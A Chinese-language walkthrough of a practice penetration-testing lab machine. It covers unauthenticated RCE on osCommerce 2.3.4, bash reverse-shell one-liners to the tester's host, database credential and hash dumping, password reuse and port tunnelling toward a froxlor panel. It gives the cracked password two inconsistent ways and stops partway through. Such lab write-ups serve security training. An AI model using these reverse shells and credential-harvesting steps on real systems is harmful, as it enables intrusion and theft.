Challenge 3 - SkyLark(1)
Challenge 3 - SkyLark(1)
LAB3 是 LAB 練習中最大的一個 LAB,公司網路拓樸如下
共區分三個網段,對外的是 192.168.xxx.0/24 共有八台機器,另外一樣提供一台 WINPREP
依據所提供的資訊一樣先整理攻擊列表如下
對外共八台,其中七台可以 Ping,依據 TTL 判斷 OS 紀錄如下
從 .220 一路開始枚舉,前三台目前沒有找到洞可以利用,直到第四台 .223 經過一番測試後
發現可以進去,所以攻擊順序第一台就選定 .223
執行 Rustscan,這一台僅有開一個 Port 60001
snmp check 沒有用
nmap,60001/tcp open http Apache httpd 2.4.41 ((Ubuntu))
60001 /
60001 /robots.txt
gobuster 排除 403、405、500,有兩個路徑 /catalog & /docs
查看 /docs 發現幾個檔案
查看 release_notes.pdf,看來系統像是 osCommerce Online Merchant v2.3.4
查看 /catelog 發現有些檔案打不開,查看檔案發現使用名稱 milan 名稱去存取
修改 hosts 將 milan 指向到靶機,可正常存取了
whatweb 看一下看來確認是 OSCommerce
網站也有明確寫出是 OSCOMMERCE CMS
Exploit-DB 查看 osCommerce 2.3.4 有許多利用
直接看第一個 RCE 50128,說明是 php injection 到 DB 然後執行 system command
且最讚的一句 "# Notes: The RCE doesn't need to be authenticated"
直接執行看看 python code 告知要接 URL,輸入 URL 發現直接拿到 RCE Shell
不過執行 whoami、id 等都沒有輸出
直接跑 bash 試試看,bash -c "bash -i >& /dev/tcp/192.168.45.214/4444 0>&1"
沒有拿到 Reverse Shell
改跑 bash -c "bash -i >& /dev/tcp/192.168.45.214/60001 0>&1" 也沒有
執行 wget http://192.168.45.214/tools/nc 發現有正常來存取
測試後發現除了 80 還有 443 可以對外
改跑 bash -c "bash -i >& /dev/tcp/192.168.45.214/443 0>&1"
443 Listener 進來了,直接拿到 local.txt flag
開始 PE,cat /etc/passwd,發現帳號 milan、sarah
cat /etc/crontab
使用者 milan 看來是目標之一
sudo -l 需要密碼
SUID check
pspy64 查看發現會去執行這個檔案 /var/www/html/froxlor/scripts/froxlor_master_cronjob.php
查看該檔案內容如下,去跑另外一支 php "/vendor/autoload.php"
在此路徑下 /var/www/html/froxlor/tests/Admins 的 AdminsTest.php 發現一組密碼
admin:h0lYmo1y
linpeas.sh,看到幾個熟悉的漏洞利用
測試 [+] [CVE-2022-0847] DirtyPipe........沒有 gcc........GG
測試 [+] [CVE-2021-3156] sudo Baron Samedit (2),已經 patched......GG
看到另外一個 60002 Port,前面發現的 Admin 帳號密碼路徑是在
/var/www/html/froxlor/tests/Admins
而 60001 網站的路徑是在 /var/www/html/oscommerce,所以不是 60001 網站
看來伺服器有跑另外一個沒有對外的網站 60002
以及這一台有跑 3306 MySQL
發現 git 路徑 drwxr-xr-x 4 www-data www-data 4096 Oct 10 2021 /var/www/html/froxlor/.github
種種跡象顯示 /var/www/html/froxlor 看來是另外一個站台的根目錄
DB User、Password "oscuser:7NVLVTDGJ38HM2TQ"
搭建 chisel 對應 3306 Port,使用 "oscuser:7NVLVTDGJ38HM2TQ" 連線 MySQL 成功
在 oscdb 資料庫中有個 administrators 資料表,當中可以看到使用者與密碼
但也僅有一組而已 admin:$P$DVNsEBdq7PQdr7GR65xbL0pas6caWx0
密碼破解不出來
跑了 hashcat 很長一段時間後仍舊無法破解後來發現可以用同一組密碼,使用者改用 root 登入到 MySQL
果然密碼重用是一定要嘗試的 root:7NVLVTDGJ38HM2TQ
show databases; 就發現多了三個資料庫
select id, username, password from froxlor.ftp_users; 發現三組帳號與 HASH
1 | Skylark | $5$jigdYlfLyunlywsP$rYt3K4YQwFJvt3Fpq4ss31j9KF8o5Q8CVSa7/YXFRyC |
2 | letsfly | $5$enbUyVfzahjLdirm$29S4UqN3DcoeTp.AaCJKR0eZ45Z51c2zP4ndlw8aK14 |
3 | flybike | $5$egSnwzfaBdlswnAz$40euq6DBo8DjpoBnMzESWisyauMHST0yjbURPo0s2I5
開始破解找到的幾組 Hash,破解結果僅得到一組 flybike:Bikes4life
在 panel_admins 資料表中發現 floxlor-administrator 的 HASH
MariaDB [froxlor]> select adminid, loginname, password, name from froxlor.panel_admins;
admin:$5$b50069d236c187f2$PIeKl3JO.NJ5X0hhtHjmJx9nDtImDP61/x4D8Rv/Gu/
密碼破解不出來
接著在靶機將 60002 Port 轉到 Kali 的 60002 Port
ssh -N -R 127.0.0.1:60002:127.0.0.1:60002 kali@192.168.45.219
開啟網頁來看看,發現是 froxlor CMS
測試發現 flybike:Christopher 可以登入,該帳號隸屬使用者 sarah
逛了一圈沒有發現有啥好利用的地方,改查查看 Exploit-DB
現有已經有個一般使用者可以登入 froxloe
留言
張貼留言